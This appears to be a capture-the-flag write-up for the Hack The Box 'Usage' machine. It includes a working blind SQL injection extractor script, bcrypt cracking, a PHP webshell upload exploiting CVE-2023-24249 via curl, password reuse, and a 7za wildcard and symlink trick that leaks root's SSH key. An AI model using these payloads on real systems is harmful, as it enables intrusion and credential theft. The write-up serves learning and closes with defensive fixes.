Summary
Usage is an Easy Linux box with three CVEs and one classic wildcard-injection privesc:
- Blind SQLi on
POST /forget-password(note: spelledforget, notforgot). Single quote inemail=gives- The chain that actually worked here is the “subquery returns more than 1 row” error oracle — `(SELECT 1 FROM (SELECT 1 UNION SELECT 2)x WHERE
)`. When ` ` is true, MySQL throws "Subquery returns more than 1 row" → 500. False → 200. This is an instant binary signal, ~7 requests per character via binary search. **SLEEP() does not delay this endpoint at all** — only BENCHMARK() does, and BENCHMARK is ~3s per bit which is 10× slower than the error oracle. Dump `admin_users.username = admin` and `admin_users.password = $2y$10$...` (Laravel-Admin convention; the table is *not* `admins`). - Bcrypt crack of admin’s hash via hashcat -m 3200
against rockyou →
<ADMIN_PW>. - CVE-2023-24249 in Laravel-Admin’s avatar upload at
/admin/auth/setting. The frontend usesaccept="image/*"but the backend only validates the upload’s MIME (sent by client), not the actual file content. Upload ashell.phpwithtype=image/pngform-data → file lands at/uploads/images/shell.phpand runs asdash. - Monit credential reuse:
/etc/monit/monitrchasallow admin:<MONIT_PW>for the local-only web interface. The monit web auth password is reused asxander’s system password → SSHxander. sudo -l→(root) NOPASSWD: /usr/bin/usage_management. The binary runscd /var/www/html && /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *. Two wildcard-abuse primitives:- Symlink
id_rsa -> /root/.ssh/id_rsain/var/www/html/. The wildcard expands toid_rsa, and 7za follows symlinks by default. - Touch a file named
@id_rsain/var/www/html/. The@<filename>syntax tells 7za to read that file as a listfile of paths to archive. Combined with the symlink, 7za reads/root/.ssh/id_rsa’s content as a “list of files” — each base64 line of the key triggers a “No more files” error that prints the offending line to the wrapper’s stdout. Result: the entire SSH private key is leaked through usage_management’s output.
- Symlink
- SSH root with the recovered key →
/root/root.txt.
Recon
22/tcp OpenSSH
80/tcp usage.htb (Laravel)
+ admin.usage.htb (Laravel-Admin)
Foothold — blind SQLi → admin → CVE-2023-24249 → dash
The injectable parameter is email on POST /forget-password
(note the spelling: forget, not forgot). The endpoint
rotates the CSRF _token per request — every probe needs a
fresh GET /forget-password first.
sqlmap (slow path) vs error oracle (fast path)
sqlmap finds the injection on this box, but very slowly:
~13 minutes just to confirm BENCHMARK time-based, and dumping
the bcrypt hash via that path takes hours. The fast path is
the “subquery returns more than 1 row” error oracle:
# True branch → 500. False → 200/302. Instant binary signal.
payload = f"foo' AND (SELECT 1 FROM (SELECT 1 UNION SELECT 2)x WHERE {cond})-- -"
# Custom extractor (notes/engagements/usage/exploits/usage_oracle.py)
def check(cond):
tk = fresh_csrf_token()
r = post('/forget-password', {'_token': tk, 'email':
f"foo' AND (SELECT 1 FROM (SELECT 1 UNION SELECT 2)x "
f"WHERE {cond})-- -"})
return r.status_code == 500
def extract_char(query, pos):
if not check(f"(SELECT ASCII(SUBSTR(({query}),{pos},1)))>0"):
return None # NULL = past end of string
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if check(f"(SELECT ASCII(SUBSTR(({query}),{pos},1)))>{mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
Per-character cost: ~7 binary-search probes × ~0.5s/probe
≈ 3.5s. Tables list (~280 chars) takes ~5 min;
admin_users.password (60-char bcrypt) takes ~3 min.
The Laravel-Admin convention is admin_users (not admins),
columns username, password. Cracked credentials:
admin : <ADMIN_PW> (rockyou hits a common keyboard
walk).
CVE-2023-24249 webshell upload
Login at POST /admin/auth/login. Don’t follow the 302
with -L — curl’s --post302 quirk re-POSTs to /admin
which 405s. Use -c cookies.txt and a separate GET on the
new session:
TOK=$(curl -s -c admin.txt http://admin.usage.htb/admin/auth/login | sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' | head -1)
curl -s -c admin.txt -b admin.txt -X POST \
-d "_token=$TOK&username=admin&password=<ADMIN_PW>" \
http://admin.usage.htb/admin/auth/login # 302
curl -s -b admin.txt http://admin.usage.htb/admin # 200 dashboard
Avatar upload at /admin/auth/setting:
TOK=$(curl -s -b admin.txt http://admin.usage.htb/admin/auth/setting | sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' | head -1)
echo '<?php system($_GET["c"]); ?>' > shell.php
curl -s -b admin.txt -X POST \
-F "_token=$TOK" -F 'name=admin' -F 'username=admin' \
-F '[email protected];filename=shell.php;type=image/png' \
-F '_method=PUT' http://admin.usage.htb/admin/auth/setting
# → 302; the file lands at /uploads/images/shell.php
curl 'http://admin.usage.htb/uploads/images/shell.php?c=id'
# uid=1000(dash) gid=1000(dash)
The MIME guard accepts whatever the client sends in the
multipart type= parameter; no actual content sniffing.
dash → xander
/etc/monit/monitrc:
set httpd port 2812
use address 127.0.0.1
allow admin:<MONIT_PW>
The <MONIT_PW> (a leet-substituted phrase)
is reused as xander’s system password. SSH directly:
ssh xander@<TARGET> # password = <MONIT_PW>
Privesc — sudo usage_management → 7z @listfile exfil
$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
$ strings /usr/bin/usage_management | grep 7za
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
The wildcard expands to filenames in /var/www/html/,
which is drwxrwxrwx-writable for xander. Two
primitives in 7za:
- Symlinks are followed by default. A symlink in cwd is archived as the content of its target.
@<name>filename argument is read as a list of file paths to archive. Each line is treated as a path. Combined with a symlink whose target is a non-list file, 7za prints “No more files” with the offending line — and thus prints the file content byte-for-byte to its stdout.
cd /var/www/html
ln -sf /root/.ssh/id_rsa id_rsa # archived = root's key
touch '@id_rsa' # 7za reads id_rsa as listfile
echo 1 | sudo /usr/bin/usage_management # option 1 = Project Backup
Output (truncated):
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAA... : No more files
[...]
-----END OPENSSH PRIVATE KEY----- : No more files
Each line of the SSH private key is echoed back as the
“missing path” portion of 7za’s WARN: <path>: No more
files message. Reassemble the key, set 0600, SSH:
ssh -i id_rsa root@<TARGET>
# uid=0(root) gid=0(root); cat /root/root.txt
Why each step worked
- Blind SQLi: time-based on the reset endpoint.
- CVE-2023-24249: extension/mime check insufficient.
7z @file: documented “list file” syntax — anything named@<name>in CWD is treated as a list of paths to include.
Counterfactuals
- Parameterise the reset query.
- Patch Laravel-Admin ≥ 1.8.20.
- Don’t
7z * -pin a script run as root in a user- writable CWD; use explicit file lists.
References
- 0xdf, “HTB: Usage” — https://0xdf.gitlab.io/2024/08/10/htb-usage.html
- IppSec, “Usage” video walkthrough — https://ippsec.rocks/?#Usage
- Laravel-Admin CVE-2023-24249 advisory.